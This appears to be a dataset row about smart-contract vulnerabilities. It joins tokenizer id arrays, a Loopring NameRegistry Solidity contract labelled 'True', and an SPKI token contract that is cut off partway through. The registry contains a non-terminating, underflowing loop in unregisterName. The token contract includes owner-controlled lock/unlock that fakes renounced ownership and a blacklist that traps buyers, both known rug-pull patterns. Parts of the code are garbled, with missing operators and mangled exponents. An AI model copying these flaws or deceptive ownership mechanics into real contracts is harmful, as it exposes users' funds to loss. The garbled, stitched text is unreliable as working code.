1006, 21318, 3372, 17788, 2575, 1007, 1063, 1006, 1010, 21318, 3372, 17788, 2575, 1031, 2260, 1033, 3638, 5310, 2850, 2696, 1007, 1027, 1045, 2860, 11961, 14277, 13669, 1006, 1035, 1059, 11961, 14277, 13669, 1007, 1012, 2131, 8095, 2378, 14876, 29278, 1006, 1035, 11902, 29246, 2860, 11961, 14277, 13669, 1007, 1025, 2065, 1006, 5310, 2850, 2696, 1031, 2184, 1033, 1028, 1027, 1035, 9095, 1007, 2709, 1014, 1025, 2842, 2709, 1035, 9095, 1011, 5310, 2850, 2696, 1031, 2184, 1033, 1025, 1065, 3853, 15389, 1006, 1007, 6327, 1063, 20868, 12260, 11022, 1006, 1035, 11902, 29246, 2860, 11961, 14277, 13669, 1007, 1012, 2713, 1006, 1007, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
/* Copyright 2017 Loopring Project Ltd (Loopring Foundation). Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / pragma solidity 0.4.19; /// @title Ethereum Address Register Contract /// @dev This contract maintains a name service for addresses and miner. /// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f19a9e9f969d98909f96b19d9e9e8183989f96df9e8396">[email protected]</a>>, /// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1470757a7d717854787b7b64667d7a733a7b6673">[email protected]</a>>, contract NameRegistry { uint public nextId = 0; mapping (uint => Participant) public participantMap; mapping (address => NameInfo) public nameInfoMap; mapping (bytes12 => address) public ownerMap; mapping (address => string) public nameMap; struct NameInfo { bytes12 name; uint[] participantIds; } struct Participant { address feeRecipient; address signer; bytes12 name; address owner; } event NameRegistered ( string name, address indexed owner ); event NameUnregistered ( string name, address indexed owner ); event OwnershipTransfered ( bytes12 name, address oldOwner, address newOwner ); event ParticipantRegistered ( bytes12 name, address indexed owner, uint indexed participantId, address singer, address feeRecipient ); event ParticipantUnregistered ( uint participantId, address owner ); function registerName(string name) external { require(isNameValid(name)); bytes12 nameBytes = stringToBytes12(name); require(ownerMap[nameBytes] == 0x0); require(stringToBytes12(nameMap[msg.sender]) == bytes12(0x0)); nameInfoMap[msg.sender] = NameInfo(nameBytes, new uint[](0)); ownerMap[nameBytes] = msg.sender; nameMap[msg.sender] = name; NameRegistered(name, msg.sender); } function unregisterName(string name) external { NameInfo storage nameInfo = nameInfoMap[msg.sender]; uint[] storage participantIds = nameInfo.participantIds; bytes12 nameBytes = stringToBytes12(name); require(nameInfo.name == nameBytes); for (uint i = participantIds.length - 1; i >= 0; i--) { delete participantMap[participantIds[i]]; } delete nameInfoMap[msg.sender]; delete nameMap[msg.sender]; delete ownerMap[nameBytes]; NameUnregistered(name, msg.sender); } function transferOwnership(address newOwner) external { require(newOwner != 0x0); require(nameInfoMap[newOwner].name.length == 0); NameInfo storage nameInfo = nameInfoMap[msg.sender]; string storage name = nameMap[msg.sender]; uint[] memory participantIds = nameInfo.participantIds; for (uint i = 0; i < participantIds.length; i ++) { Participant storage p = participantMap[participantIds[i]]; p.owner = newOwner; } delete nameInfoMap[msg.sender]; delete nameMap[msg.sender]; nameInfoMap[newOwner] = nameInfo; nameMap[newOwner] = name; OwnershipTransfered(nameInfo.name, msg.sender, newOwner); } / function addParticipant(address feeRecipient) / / external / / returns (uint) / / { / / return addParticipant(feeRecipient, feeRecipient); / / } */ function addParticipant( address feeRecipient, address singer ) external returns (uint) { require(feeRecipient != 0x0 && singer != 0x0); NameInfo storage nameInfo = nameInfoMap[msg.sender]; bytes12 name = nameInfo.name; require(name.length > 0); Participant memory participant = Participant( feeRecipient, singer, name, msg.sender ); uint participantId = ++nextId; participantMap[participantId] = participant; nameInfo.participantIds.push(participantId); ParticipantRegistered( name, msg.sender, participantId, singer, feeRecipient ); return participantId; } function removeParticipant(uint participantId) external { require(msg.sender == participantMap[participantId].owner); NameInfo storage nameInfo = nameInfoMap[msg.sender]; uint[] storage participantIds = nameInfo.participantIds; delete participantMap[participantId]; uint len = participantIds.length; for (uint i = 0; i < len; i ++) { if (participantId == participantIds[i]) { participantIds[i] = participantIds[len - 1]; participantIds.length -= 1; } } ParticipantUnregistered(participantId, msg.sender); } function getParticipantById(uint id) external view returns (address feeRecipient, address signer) { Participant storage addressSet = participantMap[id]; feeRecipient = addressSet.feeRecipient; signer = addressSet.signer; } function getParticipantIds(string name, uint start, uint count) external view returns (uint[] idList) { bytes12 nameBytes = stringToBytes12(name); address owner = ownerMap[nameBytes]; require(owner != 0x0); NameInfo storage nameInfo = nameInfoMap[owner]; uint[] storage pIds = nameInfo.participantIds; uint len = pIds.length; if (start >= len) { return; } uint end = start + count; if (end > len) { end = len; } if (start == end) { return; } idList = new uint[](end - start); for (uint i = start; i < end; i ++) { idList[i - start] = pIds[i]; } } function getOwner(string name) external view returns (address) { bytes12 nameBytes = stringToBytes12(name); return ownerMap[nameBytes]; } function isNameValid(string name) internal pure returns (bool) { bytes memory temp = bytes(name); return temp.length >= 6 && temp.length <= 12; } function stringToBytes12(string str) internal pure returns (bytes12 result) { assembly { result := mload(add(str, 12)) } } }	True	[ 101, 1013, 1008, 9385, 2418, 7077, 4892, 2622, 5183, 1006, 7077, 4892, 3192, 1007, 1012, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1025, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1999, 12646, 2007, 1996, 6105, 1012, 2017, 2089, 6855, 1037, 6100, 1997, 1996, 6105, 2012, 8299, 1024, 1013, 1013, 7479, 1012, 15895, 1012, 8917, 1013, 15943, 1013, 6105, 1011, 1016, 1012, 1014, 4983, 3223, 2011, 12711, 2375, 2030, 3530, 2000, 1999, 3015, 1010, 4007, 5500, 2104, 1996, 6105, 2003, 5500, 2006, 2019, 1000, 2004, 2003, 1000, 3978, 1010, 2302, 10943, 3111, 2030, 3785, 1997, 2151, 2785, 1010, 2593, 4671, 2030, 13339, 1012, 2156, 1996, 6105, 2005, 1996, 3563, 2653, 8677, 6656, 2015, 1998, 12546, 2104, 1996, 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/** Submitted for verification at Etherscan.io on 2021-11-03 / /** Submitted for verification at BscScan.com on 2021-10-31 / /* SPKI token description Community token with many products will be developed: NFT MarketPlace, Swap Crosschain App, Wallet, ... Main features are 1) sell/buy transaction will have different tax percent and distributed to holders for HODLing 2) 6% add liquidity and marketing tax is collected and 2% of it is sent for marketing fund and charity purpose, other 4% is used to add LP 3) Antiwhate : maximum token of holder is set 2% now. / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SPKI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0x8451B11c95cecA3567135199F2f5544F8717ABA6); // Marketing Address address payable public charityAddress = payable(0x4451Ec36C367BC3fDd285281a8F293eB31de4771); // Charity Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBotList; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private _startTime; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10*6 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SPIKE INU"; string private _symbol = "SPKI"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 6; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _buyTaxFee = 1; uint256 public _buyLiquidityFee = 4; uint256 public _sellTaxFee = 3; uint256 public _sellLiquidityFee = 6; uint256 public marketingDivisor = 1; uint256 public charityDivisor = 1; uint256 public _maxTxAmount = 2500000 10*6 10*9; uint256 private minimumTokensBeforeSwap = 200000 10*6 10*9; uint256 public _maxTokenHolder = 20000000 10*6 109; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; event RewardLiquidityProviders(uint256 tokenAmount); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function getStartTime() public view onlyOwner returns (uint256) { return _startTime; } function isLockedWallet(address wallet) public view onlyOwner returns (bool) { return _isBotList[wallet]; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); require(_excluded.length < 50, "Excluded list too big"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function killBot(address wallet) private { if(block.timestamp < _startTime) { _isBotList[wallet] = true; } } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()){ if(from == uniswapV2Pair){ require(!_isBotList[to], "You are a Bot !!!"); killBot(to); }else if (to == uniswapV2Pair){ require(!_isBotList[from], "You are a Bot !!!"); killBot(from); } } if(from == uniswapV2Pair && from != owner() && to != owner()){ require(balanceOf(to).add(amount) < _maxTokenHolder, "ERC20: You can not hold more than 2% Total supply"); } if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; bool takeFee = true; if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair){ removeAllFee(); _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee; } if(to == uniswapV2Pair){ removeAllFee(); _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee; } if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap; //add liquidity pool swapTokens(contractTokenBalance); } } //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair){ removeAllFee(); _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee; } if(to == uniswapV2Pair){ removeAllFee(); _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee; } _tokenTransfer(from,to,amount,takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 extractFeePercent = marketingDivisor.add(charityDivisor); //Calc liquidity Fee uint256 addLiquidPercent = _liquidityFee.sub(extractFeePercent); uint256 addLiquidPart = contractTokenBalance.mul(addLiquidPercent).div(_liquidityFee); uint256 markettingPart = contractTokenBalance.sub(addLiquidPart); // split the contract balance into halves uint256 half = addLiquidPart.div(2); uint256 otherHalf = addLiquidPart.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half.add(markettingPart)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 extractBalance = newBalance.mul(extractFeePercent).div(addLiquidPercent.div(2).add(extractFeePercent)); // add liquidity to uniswap addLiquidity(otherHalf, newBalance.sub(extractBalance)); uint256 markektingBalance = extractBalance.mul(marketingDivisor).div(extractFeePercent); //Send to Marketing address transferToAddressETH(marketingAddress,markektingBalance); //Send to Marketing address transferToAddressETH(charityAddress,extractBalance.sub(markektingBalance) ); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { 